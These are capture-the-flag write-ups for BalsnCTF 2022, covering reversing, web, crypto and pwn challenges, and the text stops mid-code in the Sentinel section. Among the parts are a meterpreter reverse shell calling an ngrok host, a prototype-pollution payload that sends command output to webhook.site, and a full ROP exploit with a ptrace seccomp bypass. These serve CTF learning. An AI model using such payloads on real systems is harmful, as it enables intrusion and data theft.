# BalsnCTF 2022 writeups
## Rev
### Propaganda
We get a wasm file and a few scripts around that to invoke it using our input and compares the output to fixed numbers. Reversing the main `f` function, we get that it contains a loop which invokes one function from a table, indexed by a stack array, a specified amount of times, also stored on the stack.
```c
unsigned long long (*table0[31])(unsigned long long);
// table0[0] is invalid
void f(unsigned long long input) {
int funcs[300]; // = ...
int amounts[300]; // = ....
for(int i = 0; i < 300; i++) {
int func = 30 - funcs[i];
int num_remaining = amounts[i];
for(;num_remaining>0;num_remaining--) {
input = table0[func](input);
}
}
}
```
All the functions in table0 just shuffled the bits, one could've just reversed the functions easily by just looking a bit, or one could invert each function invocation by translating all the functions to z3, then creating a solver, calling the function and getting the input from the z3 model; But that would be stupid and waste a lot of time...
[Solve script](https://gist.github.com/TheBadGod/a04a6d720439ca3118e6a3838d822dfb) which does exactly that because I'm too dumb to notice any patterns.
`BALSN{ya_sdelal_etot_challenge_za_den_do_ctf}`
### ProjectO
We are given a windows binary. We see that it creates some modules which contain a function pointer, an identifier integer and puts them into a hashmap, then we print something, but instead of printing it actually calls a bunch of functions. We see that at one point there's an assertion mentioning protobuf, so we can use the protobuf decompiler to get the actual protocol out:
```c
syntax = "proto2";
package balsn;
message Request {
required int32 module = 1;
required uint32 command = 2;
optional bytes data = 3;
}
message Auth {
optional string username = 1;
optional string password = 2;
}
message Control {
required int32 direction = 1;
}
message Info {
required int32 which = 1;
required int32 what = 2;
}
message Point {
required int32 x = 1;
required int32 y = 2;
}
message Response {
required int32 status = 1;
optional int32 iData = 2;
repeated Point pData = 3;
optional bytes bData = 4;
}
```
So here we see the Request contains the module id, then the command, which will be used in the different module functions and finally the data for that command.
So we try to run the echo module (id 1), and indeed it just returns our input to us, next we want to log in to be able to play the game, so we need to get the credentials for O5-5. Looking at the xrefs for the string O5-5 we see two usages, one in the function which checks the login for the game module, the other seems to initialize a table. There we can get the password for the user in plaintext: `6qbzZSU\"8o1x ^ `. So we can log in if we set the module to 100 the command to 1 and the data to an Auth object with username and password.
Next we can finally play the game (Start it using command 1 on module 102), after trying to get some info using command 3 we can see that with which=1 and what=1 we get some sort of map. Rendering it we see that it's a maze. After a bit more reversing we can identify all the information endpoints:
```
which, what => data
0, 1 => player.enemies_killed
0, 2 => player.coordinates (x/y)
2, 1 => game.num_enemies? (10 by default)
2, 2 => game.need_to_kill (70 -> have to kill this many enemies)
1, 1 => map.tiles (whole map, can only be queried 20 times)
1, 3 => map.enemies (enemies as (x/y) points)
1, 4 => map.size (as a single point)
1, 2 => map.end (stepping on this goes to the next level / gives the flag)
```
The Enemies on the map attack in all four directions (if there's floor) every third step we take, so we need to make sure we arrive there after the correct amount of steps to not die. Also we see that we need to kill a certain amount of enemies (so standing on the same tile, without dying first).
So now we just write a maze solver which arrives at all the enemies locations, without dying.
[Solve script](https://gist.github.com/TheBadGod/dbbdf472d3e9fc52b9481d5633578c68) which does that (There's some bugs because to make the path the correct length we just repeat invert the last movement and repeat that and the last movement a few times, which means that in certain cases it won't work. Also if two enemies are right next to each other it won't really work correctly, but it was good enough to solve the game and get the flag)
`BALSN{w3lcom_to_the_final_l3v3l_of_the_game_You_got_nothing_but_an_ascii_string_haha}`
### Keep it rollin
We open the binary, reverse it; it reads a file and maps 7 chars to the value 0-6, everything else is
rejected. Then it calls a function which works recursively and using a stack to keep track of some values.
I think there's a bug in the last loop, as it uses a value which is compared to the max index of the check array, but that value is never written as there's an off by one, not sure about that though, as it didn't really matter to the whole thing.
Anyway, after reversing the forward part and un-recursifying it, we end up with this:
```python
pages = [[0 for _ in range(512)] for i in range(12)] # 12 lines with the same length (max 511)
new_mem = [[0 for i in range(512)] for _ in range(12)]
modulus = 0x1F31D2B36645D
xx1 = pow(7, 5, modulus)
xx2 = pow(7, 5 - 1, modulus)
xx3 = pow(xx1, 0x14 - 1, modulus)
for i in range(len(pages[0])): # map1
for j in range(5): # map1a
new_mem[0][i] = (7 * new_mem[0][i] % modulus + pages[j][i]) % modulus
for j in range(5,12): # map1b
new_mem[j-5 + 1][i] = (7 * (new_mem[j-5][i] - xx2 * pages[j-5][i]) % modulus + pages[j][i]) % modulus
new_mem_2 = [[0 for i in range(512)] for _ in range(12)]
for i in range(12): # map2
for j in range(0x14): # map2a
new_mem_2[i][0] = (new_mem[i][j] + xx1 * new_mem_2[i][0]) % modulus
for j in range(0x14, len(pages[0])):
new_mem_2[i][j-0x14 + 1] = (new_mem[i][j] + xx1 * ((new_mem_2[i][j-0x14] + modulus - xx3 * new_mem[i][j-0x14] % modulus) % modulus) % modulus) % modulus
for i in range(8):
ctr = 0
for j in range(len(pages[0]) - 0x14 + 1):
if new_mem_2[i][j] != consts[ctr]:
print("Nope")
exit(0)
ctr += 1
```
So it first decodes some numbers as base7, always taking 5 of the digits and then sliding a window over
Then we do the same thing, but in the other direction of the matrix and using 20 base(7^5) values, which
are the result of the previous loop. Finally we check the values if they're correct.
So we can just try to bruteforce one of the values and we'll get (most) of the rest:
```python
# consts is a 8 x 317 matrix
def print_base7(num):
r = ""
while num > 0:
r += str(num%7)
num //= 7
print(r[::-1])
nums = [0 for i in range(8)]
dinv = pow(pow(7,100,modulus),-1,modulus)
for i in range(8):
c = consts[0:317]
n = []
for j in range(20):
possible = set()
for k in range(7**5):
val = ((c[-2-j] * 7**5 + k - c[-1-j]) * dinv) % modulus
if val < 7**5:
n.append(k)
break
for j in range(316):
n.append(((c[-2-j] * 7**5 + n[-20] - c[-1-j]) * dinv) % modulus)
assert n[-1] < 7**5
nums[i] = n
consts = consts[317:]
map = {
0: "\n",
1: "$",
2: "/",
3: "|",
4: " ",
5: "_",
6: "\\",
}
dinv = pow(pow(7, 5, modulus), -1, modulus)
s = ["" for i in range(12)]
for i in range(317):
j = 0
n = []
for j in range(5):
possible = set()
for k in range(7):
val = ((nums[-2-j][i] * 7 + k - nums[-1-j][i]) * dinv) % modulus
if val < 7:
n.append(k)
break
for j in range(12-5):
n.append(((nums[-2-j][i] * 7 + n[-5] - nums[-1-j][i]) * dinv) % modulus)
assert n[-1] < 7
for j in range(12):
s[j] += map[n[j]]
print("".join([x[::-1] for x in s][::-1]))
```
This doesn't get us the 19 leftmost nor the 4 upper lines, but well, it's good enough as we don't really need the flag format and luckily there are 4 empty lines in the beginning.
`BALSN{When_Robin_meets_the_2D_carp}`
## Web
### my first app
*straight from my mind step-by-step to the discord channel. Straight from discord to here:*
-----
Should be easy (50 points, 146 Solves), is a web app written in next.js.
-----
It's not like I understand much yet, but there is a `pages/api/hello.js` which references a `globalVars.SECRET`:
```javascript
import globalVars from '../../utils/globalVars'
export default function handler(req, res) {
// res.status(200).json({ name: globalVars.FLAG })
res.status(200).json({ name: globalVars.SECRET })
}
```
----
http://my-first-web.balsnctf.com:3000/api/hello leads to a youtube video. Probably a rickroll
```json
{
"name": "here is my secret: https://www.youtube.com/watch?v=jIQ6UV2onyI"
}
```
-----
Nope. It's 10 hours of Nyan Cat instead. 1080p.
has 3'327'333 views so it is not a video with a flag hidden inside.
So it looks like we want globalVars.FLAG, not globalVars.SECRET
-----
in `index.js` there is something accessing another globalVar:
```html
<h1 className={styles.title}>
Welcome to <a href="#">{globalVars.TITLE}</a>
</h1>
```
so I figure we can access `globalVars.FLAG` in a similar way if we find a way to inject something somewhere.
I don't see where though.
-----
`next.js` version seems up to date.
The `_app.js` looks pretty much like the default thing to do, as per [https://nextjs.org/docs/advanced-features/custom-app]( https://nextjs.org/docs/advanced-features/custom-app).
-----
*A Team Member chimes in:*
> Reminds me of
> 
lol wtf
but idk whether the flag is even in the pageProps. it is an imported global var
*I started looking at the client-side source now, instead of the server-side files.*
-----
**flagged ✔**
I had a look at the Network tab and opened all the javascript files it loaded dynamically to look what they do. Some were minified, so I just searched for a part of the secret youtube link and did find it in http://my-first-web.balsnctf.com:3000/_next/static/chunks/pages/index-1491e2aa877a3c04.js - right next to all the other global variables
```javascript
{default:function(){return l}});var d=c(5893),e=c(9008),f=c.n(e),g=c(5675),h=c.n(g),i=c(214),j=c.n(i),k={TITLE:"My First App!",SECRET:"here is my secret: https://www.youtube.com/watch?v=jIQ6UV2onyI",FLAG:"BALSN{hybrid_frontend_and_api}"};function l()
```
### health check
We are presented with a JSON string when we browse to the challenge URL `http://fastest-healthcheck.balsnctf.com/`. As nothing obvious stands out we will use `ffuf` to scan for directories
```
jkr@ubu:~$ ffuf -u http://fastest-healthcheck.balsnctf.com/FUZZ -w $WLRC -fs 55
```
and find a FastAPI help page at `/docs`. The help page exposes an endpoint that is "only for admin" (`/new`), where a specially crafted zip file (with a `run` binary/script) can be uploaded which gives us code execution. We create a meterpreter reverse shell, build the zip and upload it from `/docs` page:
```
jkr@ubu:~$ cat run
#!/usr/bin/bash
nohup ./elf &
jkr@ubu:~$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=10320 -f elf -o elf
jkr@ubu:~$ zip stage-1.zip run elf
```
After some time we can catch the reverse shell with an `exploit/multi/handler` in `msfconsole`. From the shell we can get the first flag that is in the `__pycache__` directory of the application (note we need to go upwards from the current working directory and can't access the files beginning from `/` as `/home/healthcheck` does not have read-permissions to the nobody user while `..` is accessible):
```
cat ../../__pycache__/flag1.cpython-310.pyc
o
�]c2�@dZdS)z'BALSN{y37_4n0th3r_pYC4ch3_cHa1leN93???}N)�flag1�rr�/home/healthcheck/app/flag1.py<module>s
```
`BALSN{y37_4n0th3r_pYC4ch3_cHa1leN93???}`
Additionally we can get `background.py` from the application directory.
```python
(…)
async def background_task2():
while True:
timer = asyncio.create_task(asyncio.sleep(HEALTH_CHECK_INTERVAL))
processes = {timer}
for path_name in data_path.iterdir():
if not path_name.is_dir():
continue
async def run(path_name):
try:
if 'docker-entry' in os.listdir(path_name):
# experimental
container_name = path_name.name + random.randbytes(8).hex()
await asyncio.create_subprocess_shell(f'sleep 60; docker kill {container_name} &')
await asyncio.create_subprocess_shell(f'sudo chmod -R a+rwx {path_name}; cd {path_name}; chmod a+x ./docker-entry; docker run --rm --cpus=".25" -m="256m" -v=$(realpath .):/data -u=user -w=/data --name {container_name} sandbox /data/docker-entry')
else:
await asyncio.create_subprocess_shell(f'sudo chmod -R a+rwx {path_name}; cd {path_name}; sudo -u nobody timeout --signal=KILL 60 ./run')
except:
pass
(…)
```
So there is a previously undocumented way of not only executing a shell script (`run`) but also executing a docker container when uploading a `docker-entry` file. The interesting part is that the processes running in the docker container will run with `-u=user` which effectivly is uid=1000,gid=1000 in the container. On the other hand this gid=1000 is `uploaded` group on the docker host - the group we need to have to read the second flag. Therefore we create following `docker-entry` file, zip it and upload it:
```
jkr@ubu:~$ cat docker-entry
#!/usr/bin/bash
cp /usr/bin/bash .
chmod 777 bash
chmod g+s bash
jkr@ubu:~$ zip stage-2.zip docker-entry
```
Once uploaded, `docker-entry` will run in the docker container with uid=1000 and gid=1000 so that we can just copy the `bash` binary into the current directory (`/data`) which is also accessible from the host. From the docker host we can now execute the setgid bash and retrieve the second flag:
```
ls -la ../stage-2-19bafb62998781e9
total 1384
drwxrwxrwx 2 healthcheck healthcheck 4096 Sep 5 12:59 .
drwx--x--x 4 healthcheck uploaded 12288 Sep 5 12:58 ..
-rwxrwsrwx 1 uploaded uploaded 1396520 Sep 5 12:59 bash
-rwxrwxrwx 1 healthcheck healthcheck 65 Sep 5 12:58 docker-entry
../stage-2-19bafb62998781e9/bash -p
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
id
uid=65534(nobody) gid=65534(nogroup) egid=1000(uploaded) groups=1000(uploaded),65534(nogroup)
cat ../../flag2
BALSN{d0cK3r_baD_8ad_ro07_B4d_b@d}
```
`BALSN{d0cK3r_baD_8ad_ro07_B4d_b@d}`
### 2linenodejs
The challenge is a node challenge where we get the source code for the server. We can see following `server.js`:
```javascript
#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch{
require('./usage')
}finally{
process.exit();
}
});
```
And following `index.js`:
```javascript!
module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);
```
In `index.js` there is a straight prototype pollution as we can just give it a JSON with `__proto__` key. After some googling we find following paper: https://arxiv.org/pdf/2207.11171.pdf
Unfortunately the gadget in the paper is only working in node 16.x and got fixed (https://github.com/nodejs/node/pull/43475) and thus we can't use it in the running node 18.8.0 version. Lucky enough there is a working gadget in `lib/internal/modules/cjs/loader.js`:
```javascript
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
```
This gadget and a suitable javascript file which we find in `/opt/yarn-v1.22.19/preinstall.js` allows code execution of `/usr/local/bin/node` with arbitrary command line parameters. Following prototype pollution executes javascript code:
```javascript
const payload = {
"path": "../../../../../../opt/yarn-v1.22.19/",
"data": {
"name": "./usage",
"exports": {
".": "./preinstall.js",
},
},
"npm_config_global": true,
"npm_execpath": `--eval=console.log("LMAO")`
}
```
Armed with that knowledge we can craft a HTTP request without URL encoding (which would break it) and without spaces (as `server.js` will only read up to the first space char) that will exfil the flag:
```!
GET /?{"__proto__":{"path":"../../../../../..//opt/yarn-v1.22.19","data":{"name":"./usage","exports":{".":"./preinstall.js"}},"npm_config_global":true,"npm_execpath":"--eval=const{exec}=require('child_process');exec('/readflag',(err,stdout,stderr)=>{fetch('https://webhook.site/bb56b37e-bc7d-4bbc-b8b7-1d8a5b299928?'+stdout);});"},"constructor":{"entries":123},"lol":"crash"} HTTP/1.1
Host: 2linenodejs.balsnctf.com
(…)
```
`BALSN{Pr0toTyP3_PoL1u7i0n_1s_so_Cooooooool!!!}`
## Crypto
### VSS
We have a secret $y = a + bx_1 + cy_2 \pmod p$ and commitment $C = g^y \pmod q$ where the values $a,b,c,p,g,q$ are all public, and $x_1, x_2, y$ are secret 512-bit integers.
We can ask the sever for many sets of these parameters with $x_1, x_2$ fixed and all others random for each call. Practically, we can request about 150 sets of these parameters before the connection times out.
By factoring $q-1$, we can recover some $B$-smooth divisors $r | q - 1$ such that we can solve the discrete log using pohlig hellman in a small subgroup and recover $y_r = y \pmod r$. Practically, we had $B=2^{40}$ and $r$ was typically between 10-100 bits depending on the factorisation of $q-1$.
We can select a subset of these discrete logs where we have $2^{50} < r < 2^{70}$. For the data we collected, this bound restricted us to about 20 equations.
We can rewrite the equations (labeled subscript $i$) without the congruance as
$$
y_i = y_{ir} + k_i r_i + l_i p_i = a_i + b_i x_1 + c_i x_2 + k_i r_i + l_i p_i
$$
In this form, we can recover the secret values $x_1, x_2$ using [rkm0959's inequality solver](https://github.com/rkm0959/Inequality_Solving_with_CVP), using the known values of $(a,b,c,p,y_r)$ and estimated bounds on $(k,l)$.
Recovering the integers gives us the key and we can decrypt the flag
`BALSN{commitments_leak_too_much_QwQ}`
### Old-but-gold
We are given a statically compiled go webserver. So we first need to reverse that to see what's going on. There's only a single route which does stuff, which is the login route (we get an example logi token).
The first thing this does is it uses AES CFB using a key from a local file to decrypt the base64-encoded data we send, then it unpads that
(unpadding is just removing the last n bytes, where n is the last byte that was decrypted).
Using some hardcoded values we can reconstruct the plaintext of the given token to be `{"id":"3e2bf849-9748-4046-b5c7-626e0c25846c","mail":"balsn7122@balsn.tw"}\x07\x07\x07\x07\x07\x07\x07`. We can get this because of the way the decoding works (Since we know the possible values we can make a guess, change it to something else which would decode correctly, if it doesn't work our guess was wrong).
Next we want to forge a token of the form
`{"mail": "admin","type": "admin","id":"aaaaaaaabbbbccccddddffffffffffff"}xxxxxx\x07`, we can leave the dashes from the uuid, as the go uuid library allows this.
All we need to know is the encryption of the ciphertext after every block of 16. So we need to somehow encrypt arbitrary blocks. We can do this by choosing that block as our IV and choosing three further, specially crafter blocks, then we get the first block of decrypted plaintext to be the IV encrypted xor the second block. Now we just need to bruteforce the second block to give us the plaintext `{}....` where we only care about the first two characters, the two other blocks are static and the only important thing is that the last byte decrypted is equal to `3*16-2`, as that will remove all the non-important garbage data after the first two characters. Once our bruteforce gets a "User not found", we know the json was valid and thus the first two characters decrypted to `{}`, so we know the first two bytes of the IV encrypted. Next we can use single-byte bruteforces by always putting another space after the `{}` (or inside) and waiting for the "User not found" message.
So I made a [script](https://gist.github.com/TheBadGod/19abc8bef6964a4ba1a0f8e62736b046) to first bruteforce the first two bytes, then the rest of the block, which used a bit of multiprocessing to get the job done faster, but it still took quite some time to get the block (especially for some of the first two bytes it took ages as it was in the upper end). Anyway we finally get the last ciphertext encrypted and the last block is freely choosable, so we can use
`gXBStk4yoHkbieEBCHdLB601c9YwW7tZj9vnDnqsyID4jNtwKoWqj4m0ep30dXeFT4EzJUv7oopn8QclcV6jULE59L_5azZFmoZLh66NoJuXn7aiVFsgqHikRxHGh2ry`
as our token to log in as admin and get the flag
`BALSN{P4dd1ng_0racl3_got_Old?How_4b0ut_JS0N_ORACLE}`
### Yet another RSA with hint
- Notice that digit sum in base x is congruent to the value modulo (x-1).
In other words, we know the p modulo various small numbers.
- Using CRT, we can recover half of the least significant part of p.
- Recover the whole p using coppersmiths method.
- Factor n and decrypt.
## pwn
### Asian Parents
In this challenge the process forks and set two different seccomp filters on the
parent process and the child process. The parent and the child communicate over
pipes.
Parent's seccomp filter:
```
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0013
0008: 0x15 0x04 0x00 0x0000003d if (A == wait4) goto 0013
0009: 0x15 0x03 0x00 0x0000003e if (A == kill) goto 0013
0010: 0x15 0x02 0x00 0x00000065 if (A == ptrace) goto 0013
0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013
0012: 0x06 0x00 0x00 0x7ff00001 return TRACE
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL
```
Child's seccomp filter:
```
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x0000003c if (A == exit) goto 0011
0008: 0x15 0x02 0x00 0x000000e6 if (A == clock_nanosleep) goto 0011
0009: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7ff00001 return TRACE
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
```
We are then given access to a menu interface over stdio:
```
==========================================
0) Assign other work to your failure
1) Take notes on managing failure
2) Read notes on managing failure
3) Give your failure EMOTIONAL DAMAGE
==========================================
```
Taking notes writes up to 0x200 bytes into a 128-byte stack buffer in the parent.
Assigning work does the same thing, but in the child. Reading notes prints the
contents of the stack buffer in the parent.
There is an obvious stack buffer overflow, but the binary has stack canaries. We
can bypass them by leaking the value of a canary. We write 0x88 bytes to the
stack and then read back the contents of the buffer. Printing the buffer now
prints the contents of the canary, which is the same in the parent and the child.
Now that we know the value of the canary we can use the same trick to leak the
address of libc and the base address of the binary, and use them to build a ROP
chain. Using the "EMOTIONAL DAMAGE" option makes both the parent and the child
return from main and execute our ROP chains.
Unfortunately there is not much that we can do at this point because of the
seccomp filters. Neither the parent nor the child have access to any system
calls that can open a file. Luckily the challenge links to a
[Project Zero bug report](https://bugs.chromium.org/p/project-zero/issues/detail?id=2276)
for two bugs in ptrace that let a process bypass a seccomp policy.
The first bug, which lets a process disable their children's seccomp policy with
ptrace even without capabilities has been fixed upstream. We tried to use this
bug remotely but it looks like the server was running a patchec kernel.
The second bug is still unfixed in upstream kernels and lets a process bypass
SECCOMP_RET_TRACE if the parent process exits without handling the syscall. The
child's policy returns SECCOMP_RET_TRACE for open and openat, and ptrace is
allowed in the parent's policy. We can use this bug to make the open syscall
succeed and allow the parent to open the flag.
In short, the parent does:
```
ptrace(PTRACE_SEIZE, child_pid, NULL, PTRACE_O_TRACESECCOMP) = 0
wait(0)
exit(0)
```
And the child does:
```
sleep(3)
open("home/asianparent/flag.txt", O_RDONLY)
read(7, e.bss(), 100)
write(1, e.bss(), 100)
```
And due to the PTRACE_O_TRACESECCOMP bug the child bypasses the filter and can
open and read the flag.
`BALSN{4s1an_par3nt5_us3d_7o_0RW_w1th0u7_0p3n_sysca1l}`
```python
from pwn import *
# Path to the target binary
BINARY = './chall'
LIBC = './libc.so.6'
LD = './ld.so'
# Host and port where the challenge is running
HOST = 'asian-parents.balsnctf.com'
PORT = 7777
# When launched with "remote" in the command line arguments, the script will
# connect with the remote target. Otherwise it will spawn an instance of the
# target locally and interact with that.
REMOTE = args.REMOTE
e = ELF(BINARY)
context.binary = e
if LIBC and os.path.exists(LIBC):
libc = ELF(LIBC)
elif e.libc:
libc = e.libc
if LD and os.path.exists(LD):
ld = ELF(LD)
else:
ld = None
# Add/uncomment your favorite terminal emulator here. context.terminal must
# be set in order to launch GDB.
context.terminal = ['tmux', 'split-window', '-h', '-l', '150']
# Use dbg() to spawn an instance of GDB and attach it to the target. Very useful
# to debug exploits. All addresses in BREAKPOINTS will be breakpointed. When the
# binary is PIE, the base address of the binary will be added to the breakpoint
# address. This is consistent with how IDA/Binja display addresses so that you
# can copy-paste.
# You can also have strings here to break at a symbol (e.g. 'malloc')
# dbg() is obviously disabled when talking to a remote target.
BREAKPOINTS = [
# 0x1D1B,
'open',
# 'ptrace',
]
def dbg():
if not args.LOCAL:
return
pie_base = r.libs()[os.path.realpath(r.executable)] if e.aslr else 0
breaks = [
'b *{}'.format(hex(b + pie_base)) if isinstance(b, int)
else 'b {}'.format(b)
for b in BREAKPOINTS
] + ['set follow-fork-mode child', 'c']
command = '\n'.join(breaks)
gdb.attach(r, gdbscript=command)
if REMOTE:
r = remote(HOST, PORT)
elif args.LOCAL:
r = e.process()
else:
r = remote('localhost', 7777)
# dbg()
if args.LOCAL:
print(r.pid)
leak_p = b'A' * (0x90 - 8)
r.sendlineafter(b'> ', leak_p)
r.recvline()
r.recv(0x1f)
r.recv(len(leak_p))
canary = u64(r.recv(8)) & 0xffffffffffffff00
success(f'canary: {hex(canary)}')
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'> ', b'A' * 0x98)
r.sendlineafter(b'> ', b'2')
r.recvuntil(b'Things on your notebook: ')
r.recv(0x98)
libc_leak = u64(r.recv(8)) & 0xffffffffffff
libc_base = libc_leak - 0x29d0a
libc.address = libc_base
success(f'libc at {hex(libc_base)}')
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'> ', b'A' * 0xa8)
r.sendlineafter(b'> ', b'2')
r.recvuntil(b'Things on your notebook: ')
r.recv(0xa8)
pie_leak = u64(r.recv(8)) & 0xffffffffffff
pie_base = pie_leak - 0x180a
e.address = pie_base
success(f'binary at {hex(pie_base)}')
PTRACE_SEIZE = 0x4206
PTRACE_O_SUSPEND_SECCOMP = (1 << 21)
PTRACE_O_TRACESECCOMP = (1 << 7)
def set_rdi(val):
# 0x001bc021: pop rdi; ret;
return b''.join([
p64(libc.address + 0x001bc021),
p64(val)
])
def set_rsi(val):
# 0x001bb317: pop rsi; ret;
return b''.join([
p64(libc.address + 0x001bb317),
p64(val)
])
def set_rdx(val):
# 0x0013b819: pop rdx; pop r12; ret;
return b''.join([
p64(libc.address + 0x0013b819),
p64(val),
p64(0x41414141),
])
def set_rcx(val):
# 0x000ecab3: pop rcx; ret;
return b''.join([
p64(libc.address + 0x000ecab3),
p64(val)
])
def load32(addr):
# 0x00081f8a: mov eax, [rdx]; ret;
return b''.join([
set_rdx(addr),
p64(libc.address + 0x00081f8a),
])
def write64(what, where):
# 0x00141e21: mov [rsi], rdi; ret;
return b''.join([
set_rsi(where),
set_rdi(what),
p64(libc.address + 0x00141e21),
])
def write_str(addr, s):
while len(s) % 8 != 0:
s += b'\x00'
return b''.join([
write64(u64(s[i:i + 8]), addr + i)
for i in range(0, len(s), 8)
])
newstack = e.address + 0x4400
newstack_size = 0x1000 - 0x400
parent_rop = b''.join([
set_rdi(1),
set_rsi(e.address + 0x4064),
set_rdx(4),
p64(libc.symbols.write),
set_rdi(0),
set_rsi(newstack),
set_rdx(newstack_size),
p64(libc.symbols.read),
# 0x001bb53b: pop rsp; ret;
p64(libc.address + 0x001bb53b),
p64(newstack),
])
binsh_addr = list(libc.search(b'/bin/sh'))[0]
parent_payload = flat({
0x88: canary,
0x98: parent_rop,
})
assert len(parent_payload) <= 512
r.sendlineafter(b'> ', b'1')
r.sendafter(b'> ', parent_payload)
child_rop = b''.join([
set_rdi(3),
p64(libc.symbols.sleep),
write_str(e.bss(), b'home/asianparent/flag.txt'),
set_rdi(e.bss()),
set_rsi(0),
p64(libc.symbols.open),
set_rdi(7),
set_rsi(e.bss()),
set_rdx(100),
p64(libc.symbols.read),
set_rdi(1),
p64(libc.symbols.write),
])
child_payload = flat({
0x88: canary,
0x98: child_rop,
})
assert len(child_payload) <= 512
# pause()
r.sendlineafter(b'> ', b'0')
r.sendlineafter(b'> ', child_payload)
r.recvuntil(b'EMOTIONAL DAMAGE')
r.sendlineafter(b'> ', b'3')
r.recvline()
r.recvline()
child_pid = u32(r.recv(4))
success(f'child PID: {child_pid}')
parent_rop2 = ROP(libc)
parent_rop2.ptrace(PTRACE_SEIZE, child_pid, 0, PTRACE_O_TRACESECCOMP)
parent_rop2.wait(0)
parent_rop2.exit(0)
r.send(parent_rop2.chain() + cyclic(newstack_size - len(parent_rop2.chain())))
r.interactive()
```
### Sentinel + revenge
### Sentinel
This challenge uses [seccomp_unotify](https://man7.org/linux/man-pages/man2/seccomp.2.html) to sandbox our code.
The sentinel process forks, sets a seccomp filter on the child, and then execs a shell in the child process:
```
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014
0004: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0012
0005: 0x15 0x06 0x00 0x000000c8 if (A == tkill) goto 0012
0006: 0x15 0x05 0x00 0x000000ea if (A == tgkill) goto 0012
0007: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0012
0008: 0x15 0x03 0x00 0x00000101 if (A == openat) goto 0012
0009: 0x15 0x02 0x00 0x000001b5 if (A == openat2) goto 0012
0010: 0x15 0x01 0x00 0x000001b2 if (A == pidfd_open) goto 0012
0011: 0x15 0x00 0x01 0x00000130 if (A != open_by_handle_at) goto 0013
0012: 0x06 0x00 0x00 0x7fc00000 return USER_NOTIF
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL
```
`kill`, `tkill`, `tgkill`, `open`, `openat`, `openat2`, `pidfd_open` and `open_by_handle_at` notify the sentinel
process instead of being executed.
`kill`, `tkill`, `tgkill`, `pidfd_open` are interecepted to prevent our shell from sending a signal to the sentinel. `open`, `openat`, `openat2`, and `open_by_handle_at` are intercepted to prevent our shell from opening the flag file.
```c
struct open_how *openHow;
tmpFd = -1;
if(fetchMem(req->pid,req->data.args[req->data.nr==__NR_open?0:1],fname,PATH_MAX,1)==false){
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
//we have to get a local version of dir fd in child
if(req->data.nr==__NR_openat || req->data.nr==__NR_openat2){
int dirFd = req->data.args[0];
if(fetchDirFd(req->pid,&dirFd)==false){
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
req->data.args[0] = dirFd;
}
if(req->data.nr==__NR_openat2){
openHow = malloc(req->data.args[3]);
if(openHow==NULL){
close(req->data.args[0]);
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
if(fetchMem(req->pid,req->data.args[2],(char*)openHow,req->data.args[3],req->data.args[3])==false){
close(req->data.args[0]);
free(openHow);
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
}
if((req->data.nr==__NR_open && (tmpFd = open(fname,req->data.args[1],req->data.args[2]))==-1) ||
(req->data.nr==__NR_openat && (tmpFd = openat(req->data.args[0],fname,req->data.args[2],req->data.args[3]))==-1) ||
(req->data.nr==__NR_openat2 && (tmpFd = syscall(__NR_openat2,req->data.args[0],fname,openHow,req->data.args[3]))==-1)){
if(req->data.nr==__NR_openat || req->data.nr==__NR_openat2)
close(req->data.args[0]);
if(req->data.nr==__NR_openat2)
free(openHow);
SETSECCOMPRESP(resp,-errno,-1,0);
break;
}
if(req->data.nr==__NR_openat || req->data.nr==__NR_openat2)
close(req->data.args[0]);
if(fstat(tmpFd,&fileStat)==-1){
close(tmpFd);
if(req->data.nr==__NR_openat2)
free(openHow);
SETSECCOMPRESP(resp,-EACCES,-1,0);
break;
}
